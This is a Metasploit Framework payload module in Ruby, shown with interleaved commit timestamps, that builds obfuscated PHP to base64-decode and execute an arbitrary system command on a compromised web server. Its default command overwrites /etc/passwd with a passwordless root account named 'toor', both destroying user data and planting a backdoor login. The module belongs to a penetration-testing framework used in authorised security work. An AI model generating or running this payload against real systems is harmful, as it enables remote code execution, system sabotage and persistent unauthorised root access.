2008-09-01 04:41:18 +00:00
|
|
|
##
|
2008-10-23 02:43:21 +00:00
|
|
|
# $Id$
|
2008-09-01 04:41:18 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-09-01 04:41:18 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-09-01 04:41:18 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/payload/php'
|
|
|
|
require 'msf/core/handler/bind_tcp'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
module Metasploit3
|
2008-09-01 04:41:18 +00:00
|
|
|
|
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Payload::Php
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'PHP Execute Command ',
|
2008-10-23 02:43:21 +00:00
|
|
|
'Version' => '$Revision$',
|
2009-04-30 06:12:27 +00:00
|
|
|
'Description' => 'Execute a single system command',
|
|
|
|
'Author' => [ 'egypt' ],
|
2008-09-01 04:41:18 +00:00
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP
|
|
|
|
))
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('CMD', [ true, "The command string to execute", 'echo "toor::0:0:::/bin/bash">/etc/passwd' ]),
|
2008-10-02 05:23:59 +00:00
|
|
|
], self.class)
|
2008-09-01 04:41:18 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def php_exec_cmd
|
|
|
|
|
|
|
|
cmd = Rex::Text.encode_base64(datastore['CMD'])
|
|
|
|
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
|
|
|
shell = <<-END_OF_PHP_CODE
|
|
|
|
$c = base64_decode("#{cmd}");
|
|
|
|
#{php_preamble({:disabled_varname => dis})}
|
|
|
|
#{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis})}
|
|
|
|
END_OF_PHP_CODE
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-04-30 06:12:27 +00:00
|
|
|
return Rex::Text.compress(shell)
|
2008-09-01 04:41:18 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Constructs the payload
|
|
|
|
#
|
|
|
|
def generate
|
|
|
|
return php_exec_cmd
|
|
|
|
end
|
|
|
|
|
2009-04-30 06:12:27 +00:00
|
|
|
end
|